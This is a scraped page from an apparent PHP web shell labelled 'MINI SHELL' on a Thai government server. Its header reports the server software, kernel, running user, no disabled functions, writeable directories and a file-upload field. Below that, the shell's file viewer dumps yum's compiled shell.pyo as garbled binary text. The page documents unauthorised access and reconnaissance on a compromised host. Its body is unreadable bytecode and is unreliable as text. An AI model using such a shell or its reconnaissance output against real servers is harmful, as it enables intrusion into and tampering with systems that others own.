MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /usr/share/yum-cli/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/yum-cli/shell.pyo
mς
ύΙODc@s^dkZdkZdkZdkZdkZdklZdkTdei	fd„ƒYZ
dS(N(sErrors(t*tYumShellcBs˜tZd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Z	d	„Z
d
„Zd„Zd„Z
d
„Zd„Zd„Zd„ZRS(NcCs₯tii|ƒ||_d|_d|_t|_dg|_	t
|iƒdjo|id|_ndddddd	d
dg|_
|i
|ii|_dS(Ns> is
Leaving Shelltrepot
repositorytexittquittrunttsttransactiontconfig(tcmdtCmdt__init__tselftbasetprompttresulttFalset	from_filet
resultmsgstlentextcmdstfiletshell_specific_commandstyum_cli_commandstcommandlist(R
R((t/usr/share/yum-cli/shell.pyRs				!cCsfg}yti|ƒ}WnFtj
o:}|iidd|ƒ|i	ot
id‚qbnX|S(s@split the input using shlex rules, and error or exit accordinglyisScript Error: %ssFatal error in script, exitingN(tinputstshlextsplittinput_stringt
ValueErrorteR
RterrorlogRtErrorstYumBaseError(R
RRR ((Rt_shlex_split*s
cCs‰yt|idƒ}Wn"tj
o}tidƒnX|iƒ}|i
ƒt|_x|D]}|i|ƒqaW|idƒtS(Ntrs!Error: Cannot open %s for readingtEOF(topenR
RtfdtIOErrorR tsysRt	readlinestlinestclosetTrueRtlinetonecmd(R
R R,R(R/((Rtscript7s
	
cCsλt|ƒdjo|iƒddjonΊ|i|ƒ\}}}||ijo|idƒt	Sn||i
_|i
iiddƒ|i
_|i
|i
iƒ|i
_y|i
iƒWntij
onX|i
iƒdS(Nit#ts
(RR/tstripR
t	parselineR
targsRtdo_helpRRt	cmdstringtreplaceR$tcmdst
parseCommandsR"R#t
doCommands(R
R/R
R6((RtdefaultDs*
cCsdS(N((R
((Rt	emptylineWscCs‡d}|ddgjod|}nJ|ddgjod|}n)|djod	|}n|iiƒ|iid
|ƒdS(Ns	
    Shell specific arguments:
      config - set config options
      repository (or repo) - enable/disable repositories
      transaction (or ts) - list, reset or run the transaction set
      run - run the transaction set
      exit or quit - exit the shell
    RRsΧ
    %s arg
      list: lists the contents of the transaction
      reset: reset (zero-out) the transaction
      solve: run the dependency solver on the transaction
      run: run the transaction
                  RRsΏ
    %s arg [option]
      list: lists repositories and their status
      enable: enable repositories. option = repository id
      disable: disable repositories. option = repository id
    R	sΠ
    %s arg [value]
      args: debuglevel, errorlevel, obsoletes, gpgcheck, assumeyes, exclude
        If no value is given it prints the current value.
        If value is given it sets that value.
        i(tmsgtargR
Rtusagetlog(R
R@R?((RR7Zs	

cCsdg|_tS(Ns
Leaving Shell(R
RR.(R
R/((Rtdo_EOFscCsdg|_tS(Ns
Leaving Shell(R
RR.(R
R/((Rtdo_quit…scCsdg|_tS(Ns
Leaving Shell(R
RR.(R
R/((Rtdo_exit‰scCs|i|ƒdS(N(R
tdo_transactionR/(R
R/((Rtdo_tsscCs^|i|ƒ\}}}|ddgjo |iid|iiƒƒn|djo+|ii	ƒ|ii
ƒ|iiƒnΨ|djoŸy|iiƒ\}}Wn3tij
o$}|iidd|ƒtSnX|djo,x<|D]}|iidd|ƒqσWqZ|iidd	ƒn,|d
jo|idƒSn|idƒdS(
NtlistitresettsolveisError building transaction: %sis	Error: %ssSuccess resolving dependenciesRR3R(R
R5R/R
R6tNoneRRBtlistTransactiont
closeRpmDBt	doTsSetuptdoRpmDBSetuptbuildTransactiontcodetmsgsR"R#R R!RR?tdo_runR7(R
R/R6R RRR
RQR?((RRFs* 



	

c	Cs8|i|ƒ\}}}|ddgjoσ|i|ƒ}|p0|iidd|t	|ii
|ƒfƒq4|d}yt|ƒ}Wn6t
j
o*}|iidd||fƒdSnXt|ii
||ƒ|djo||ii_q4|djo||ii_q4n|ddd	gjoγ|i|ƒ}|p0|iidd|t	|ii
|ƒfƒq4|d}|iƒtjo%|iidd
||fƒtSnt|iƒ}t|ii
||ƒ|djo$t|idƒo
|i`qq4n|dgjo|id
dƒ}|i|ƒ}|pGd|}|tit	|ii
|ƒƒ}|iid|ƒtSq4t|ii
||ƒt|idƒo|i`|iiiƒnt|idƒo
|i`n|iiƒ|ii ƒ|ii!ƒn|i"dƒdS(Nt
debuglevelt
errorlevelis%s: %sis(Value %s for %s cannot be made to an inttgpgcheckt	obsoletest	assumeyess Value %s for %s is not a Booleantuptexcludet,t s%s: tpkgSackR	(#R
R5R/R
R6R$toptsRRBtgetattrtconftvaltintRR R!tsetattrt	thresholdtvaluetlowertBOOLEAN_STATESRthasattrRYR9R?tstringtjoinR]trepost_selectSackTypeRMRNROR7(	R
R/R6R RaR
ReR?R^((Rt	do_config­s^0
	

0


"	


cCs|i|ƒdS(N(R
tdo_repoR/(R
R/((Rt
do_repositoryζscCsb|i|ƒ\}}}|ddgjoΰ|iiiiƒo|ii	dddƒn|iiiiƒ}|i
ƒxΰ|D]}||iiiƒjo1|djo$|ii	dd||i
fƒq‚|djo$|ii	dd
||i
fƒq‚q‚WnT|djo"|i|ƒ}x4|D]}y|iii|ƒ}WnUtij
o}|iid|ƒq.tij
o}|iid|ƒq.Xxj|D]b}y|iid
|ƒWq¬tij
o3}|iiddƒ|iii|ƒtSq¬Xq¬Wt|idƒo
|i`q.q.Wn%|djo
|i|ƒ}x|D]μ}y|iii|ƒWnUtij
o}|iid|ƒq]tij
o}|iid|ƒq]Xt|idƒo|i`|iiiƒnt|idƒo
|i`n|iiƒ|iiƒ|iiƒq]Wn|i dƒdS(NRHis%-20.20s %-40.40s  statussrepo ids	repo nameR3tenableds%-20.20s %-40.40s  enabledtdisableds%-20.20s %-40.40s  disabledtenableitthisreposDisabling RepositoryRYtdisableR]R(srepo ids	repo name(R3Rp(R3Rq(!R
R5R/R
R6RKRRktvaluesRBtsortRtlistEnabledtnameR$t
enableRepotchangedR"tConfigErrorR R!t	RepoErrortdoRepoSetuptdisableRepoRRhRYR]RlRMRNROR7(R
R/R6R R
RRzRk((RRnιsf
&$
,


	


cCs+|i|ƒ\}}}|GH|GH|GHdS(N(R
R5R/R
R6(R
R/R
R6((Rtdo_test$scCsxt|iiƒdjo[ye|iiƒ\}}|djo0x%|D]}|iidd|ƒqEWt	Sn|ii
ƒ}Wn‘ti
j
o }|iidd|ƒqttj
o}|iiddƒqttj
o0}|idjo|iiddƒqpqtX|djo|iiddƒqt|iidd	ƒ|iiƒ|iiƒ|iiƒndS(
Niis	Error: %ss

Exiting on user canceli s

Exiting on Broken PipesTransaction did not run.isFinished Transaction(RR
RttsInfoRPRQRRR?R!Rt
doTransactiont	returnvalR"R#R tKeyboardInterruptR)terrnoRBRMRNRO(R
R/RQRRR‚R?R ((RRS*s,



(t__name__t
__module__RR$R1R=R>R7RCRDRERGRFRmRoRnRRS(((RRs 		
	
			'						9		;	(R*tos.pathtosR
RiRtyumR"t
yum.constantsRR(R"RiR
R*RRRˆ((Rt?s					


Anon7 - 2021